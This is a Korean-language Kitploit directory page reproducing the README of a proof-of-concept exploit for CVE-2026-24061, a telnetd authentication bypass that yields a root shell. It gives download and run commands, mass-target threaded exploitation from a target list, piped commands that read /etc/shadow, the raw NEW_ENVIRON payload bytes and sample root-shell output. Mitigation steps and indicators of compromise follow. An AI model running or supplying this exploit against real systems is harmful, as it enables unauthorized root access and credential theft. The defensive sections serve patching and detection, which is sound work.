Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-24061 — 개념 증명: CVE-2026-24061은 GNU inetutils-telnetd의 중요한 인증 우회 취약점으로, 악의적인 NEW_ENVIRON telnet 옵션 악용을 통해 인증되지 않은 원격 공격자가 즉시 루트 셸 액세스 권한을 얻을 수 있습니다. | Kitploit
도구/GitHubGitHub/sh4den/cve-2026-24061
Privilege EscalationVulnerability AnalysisExploitationNetwork SecurityPenetration TestingCommand and ControlAuthenticationPapers & ResearchLearning & EducationRemote Access Tool
GitHub
61112개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
sh4den/cve-2026-24061

CVE-2026-24061

개념 증명: CVE-2026-24061은 GNU inetutils-telnetd의 중요한 인증 우회 취약점으로, 악의적인 NEW_ENVIRON telnet 옵션 악용을 통해 인증되지 않은 원격 공격자가 즉시 루트 셸 액세스 권한을 얻을 수 있습니다.

저장소 보기

CVE-2026-24061

GNU inetutils-telnetd - 원격 인증 우회

CVE-2026-24061 취약점을 악용하기 위한 보안 연구 도구입니다. 이는 GNU inetutils-telnetd의 치명적인 원격 인증 우회 취약점으로, 인증 없이 즉시 루트 셸에 접근할 수 있습니다.


목차

  • 취약점 요약
  • 영향받는 버전
  • 기술 분석
  • 사전 요구 사항
  • 설치
  • 사용법
  • 출력 참조
  • 익스플로잇 방법론
  • 완화 및 수정
  • 침해 지표
  • 법적 고지
  • 참고 자료
  • 크레딧

취약점 요약

필드값
CVE 식별자CVE-2026-24061
CVSS v3.1 점수9.8 (Critical)
CVSS 벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE 분류CWE-88: 명령어 인수 구분자의 부적절한 중립화
공급업체GNU Project
제품inetutils-telnetd
공개일2026년 1월 20일
패치 가능 여부추후 공지

요약

GNU inetutils-telnetd (버전 2.7 이하)에서 인증되지 않은 원격 공격자가 인증을 완전히 우회하고 즉시 루트 셸에 접근할 수 있는 치명적인 취약점이 존재합니다. 이 취약점은 NEW_ENVIRON 텔넷 옵션을 통해 특수하게 조작된 USER 환경 변수 값을 "-f root"로 주입하여 모든 인증 메커니즘을 우회합니다.

영향 평가

  • 기밀성: 시스템 데이터 완전 손상
  • 무결성: 루트 권한으로 전체 시스템 제어
  • 가용성: 완전한 시스템 장악 또는 서비스 거부 가능
  • 범위: 변경 없음 - 취약한 텔넷 서비스에만 영향

영향을 받는 버전

버전 범위상태
<= 2.7취약
> 2.7패치 상태 추후 공지

기술 분석

취약점 근본 원인

이 취약점은 telnetd NEW_ENVIRON 옵션 처리기에서 USER 환경 변수에 대한 부적절한 검증에서 비롯됩니다. NEW_ENVIRON 텔넷 옵션을 처리할 때 telnetd 서비스는 USER 변수 값을 login 프로세스에 전달하기 전에 검증하지 못합니다. USER를 "-f root"로 설정하면 공격자가 명령줄 인수를 주입하여 루트 사용자에 대한 인증이 자격 증명 없이 성공하도록 강제합니다.

공격 벡터

  1. 공격자가 telnetd 서비스(일반적으로 포트 23)에 연결
  2. 텔넷 옵션 협상 중 서버가 NEW_ENVIRON 데이터 요청
  3. 공격자가 USER 환경 변수를 "-f root"로 응답
  4. 악의적인 인수가 인증 검사를 우회
  5. 비밀번호 프롬프트 없이 즉시 루트 셸 제공
  6. 전체 시스템 장악

익스플로잇 복잡성

  • 전제 조건: 대상 telnetd 서비스에 대한 네트워크 접근
  • 인증: 필요하지 않음
  • 사용자 상호작용: 없음
  • 공격 복잡성: 낮음

사전 요구 사항

시스템 요구 사항

  • Python 3.7 이상
  • 대상 telnetd 인스턴스에 대한 네트워크 연결
  • Python 스크립트 실행 권한

의존성

모든 의존성은 Python 표준 라이브러리의 일부입니다:

패키지용도
socket네트워크 통신
selectI/O 멀티플렉싱
sys시스템 상호작용
os운영 체제 인터페이스
threading동시 대상 익스플로잇
datetime타임스탬프 형식 지정

설치

방법 1: Git 사용

# 저장소 복제
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061

# 익스플로잇 실행
python3 main.py -u <target_ip>

방법 2: 직접 다운로드

# 익스플로잇 다운로드
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py

# 실행 권한 부여 (Linux/macOS)
chmod +x main.py

# 익스플로잇 실행
python3 main.py -u <target_ip>

방법 3: 수동 설치

# Python 3.7+ 설치 확인
python3 --version

# 다운로드 및 실행
python3 main.py -u <target_ip>

사용법

명령줄 인터페이스

사용법:
    python3 main.py -u <target_ip> [-p <port>] [-usr <user>]
    python3 main.py -l <targets_file> [-p <port>] [-usr <user>]
    echo "commands" | python3 main.py -u <target_ip>

인수:
    -u          단일 대상 IP 주소 또는 호스트명
    -l          대상 IP 목록 파일 경로 (한 줄에 하나)
    -p          대상 포트 (기본값: 23)
    -usr        익스플로잇할 사용자 (기본값: root)

단일 대상 익스플로잇

단일 telnetd 인스턴스 익스플로잇:

# 기본 익스플로잇 (기본 포트 23, 사용자 root)
python3 main.py -u 192.168.1.100

# 사용자 정의 포트
python3 main.py -u 192.168.1.100 -p 2323

# 다른 사용자
python3 main.py -u 192.168.1.100 -usr admin

명령 실행 모드

비대화식으로 명령 실행:

# 단일 명령
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100

# 여러 명령
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100

# 출력 리디렉션이 있는 명령
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100

대량 대상 익스플로잇

파일에서 여러 대상 익스플로잇:

python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin

대상 파일 형식 (targets.txt):

192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com

참고:

  • 한 줄에 하나의 대상
  • IP 주소 또는 호스트명
  • 빈 줄은 무시됨
  • 대상은 스레딩을 사용하여 동시에 익스플로잇됨

출력 참조

상태 표시기

표시기색상설명
[SUCCESS]녹색대상에 성공적으로 연결됨
[EXPLOIT]녹색익스플로잇 페이로드가 성공적으로 전송됨
[INFO]파란색현재 작업에 대한 정보 메시지
[ERROR]빨간색연결 실패, 시간 초과 또는 익스플로잇 오류
[WARNING]노란색경고 메시지 (현재 사용되지 않음)

샘플 출력

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass        ║
║                                                               ║
║  CVSS Score: 9.8 (Critical)                                   ║
║  Impact: Remote Authentication Bypass - Instant Root Shell    ║
║                                                               ║
║          This tool is part of the HGrab Framework.            ║
╚═══════════════════════════════════════════════════════════════╝

[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands

# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root

익스플로잇 방법론

텔넷 프로토콜 협상 과정

익스플로잇은 텔넷 프로토콜 협상 단계를 활용합니다:

  1. 초기 연결: 대상 포트에 TCP 연결 설정
  2. 옵션 협상: 서버가 다양한 텔넷 옵션에 대해 DO/WILL 명령 전송
  3. TTYPE 동의: 클라이언트가 터미널 유형 전송에 동의 (WILL TTYPE)
  4. TSPEED 동의: 클라이언트가 터미널 속도 전송에 동의 (WILL TSPEED)
  5. NEW_ENVIRON 동의: 클라이언트가 환경 변수 전송에 동의 (WILL NEW_ENVIRON)
  6. 하위 협상: 서버가 환경 변수 요청 (SB NEW_ENVIRON SEND)
  7. 페이로드 주입: 클라이언트가 NEW_ENVIRON 응답에 USER="-f root" 전송
  8. 인증 우회: 서버가 악의적인 USER 변수 처리
  9. 셸 접근: 인증 없이 루트 셸 제공

페이로드 구조

# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39

payload = bytes([
    255,        # IAC
    250,        # SB
    39,         # NEW_ENVIRON
    0,          # IS
    0,          # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
    255,        # IAC
    240         # SE
])

대화형 세션 처리

  • 입력 멀티플렉싱: 동시 소켓 및 stdin 모니터링을 위해 select.select() 사용
  • 비차단 I/O: 소켓은 비차단 작업으로 설정
  • 텔넷 처리: 출력에서 IAC 시퀀스를 제거하여 깨끗하게 표시
  • 시간 초과 관리: 명령 실행에 30초 시간 초과

완화 및 수정

즉시 조치

  1. telnetd 비활성화: telnetd 서비스를 즉시 중지 및 비활성화

    # systemd 기반 시스템
    sudo systemctl stop telnetd
    sudo systemctl disable telnetd
    
    # xinetd 기반 시스템
    sudo service xinetd stop
    sudo chkconfig telnet off
    
  2. 방화벽 규칙: 방화벽 수준에서 텔넷 포트(23) 차단

    # iptables
    sudo iptables -A INPUT -p tcp --dport 23 -j DROP
    
    # firewalld
    sudo firewall-cmd --permanent --remove-service=telnet
    sudo firewall-cmd --reload
    
  3. 네트워크 격리: 인터넷에 노출된 시스템에서 텔넷 서비스 제거

    • 내부 네트워크 세그먼트만 사용
    • 네트워크 접근 제어 목록(ACL) 구현

장기 권장 사항

조치우선순위설명
SSH 마이그레이션Critical원격 접근을 위해 텔넷을 SSH로 대체
패치 관리Critical보안 업데이트 모니터링 및 적용
서비스 감사High불필요한 네트워크 서비스 식별 및 비활성화
네트워크 분할High중요 시스템을 공용 네트워크와 분리
침입 탐지Medium익스플로잇 시도를 탐지하는 IDS/IPS 배포
접근 제어Medium원격 서비스에 대한 IP 허용 목록 구현

대체 솔루션

텔넷 대신 SSH 사용:

# OpenSSH 서버 설치
sudo apt-get install openssh-server  # Debian/Ubuntu
sudo yum install openssh-server      # RHEL/CentOS

# SSH 활성화 및 시작
sudo systemctl enable sshd
sudo systemctl start sshd

완화 후 확인

# telnetd가 실행 중인지 확인
sudo netstat -tlnp | grep :23
sudo ss -tlnp | grep :23

# 제대로 비활성화되었다면 결과가 없어야 함

침해 지표

로그 분석

다음 패턴에 대해 시스템 로그 검토:

인증 로그:

# 비정상적인 로그인 패턴 확인
sudo grep telnetd /var/log/auth.log
sudo grep telnetd /var/log/secure

# 의심스러운 USER 환경 변수 확인
sudo grep "USER.*-f" /var/log/auth.log

네트워크 로그:

  • 예상치 못한 IP 주소로부터의 텔넷 연결
  • 정상 업무 시간 외 포트 23 연결
  • 텔넷 서비스에 대한 여러 번의 빠른 연결

시스템 아티팩트

  • 루트로 실행되는 예상치 못한 프로세스
  • 수정된 시스템 구성 파일
  • 승인되지 않은 사용자 계정
  • /root/.ssh/authorized_keys의 새로운 SSH 키
  • 의심스러운 cron 작업 또는 예약된 작업

네트워크 지표

  • 텔넷 서비스 프로세스로부터의 외부 연결
  • 외부 호스트로의 데이터 유출
  • 리버스 셸 연결
  • 손상된 시스템에서 시작된 포트 스캐닝 활동
  • 다른 내부 시스템으로의 측면 이동 시도

탐지 명령

# 활성 텔넷 연결 확인
sudo netstat -antp | grep :23
도구 다운로드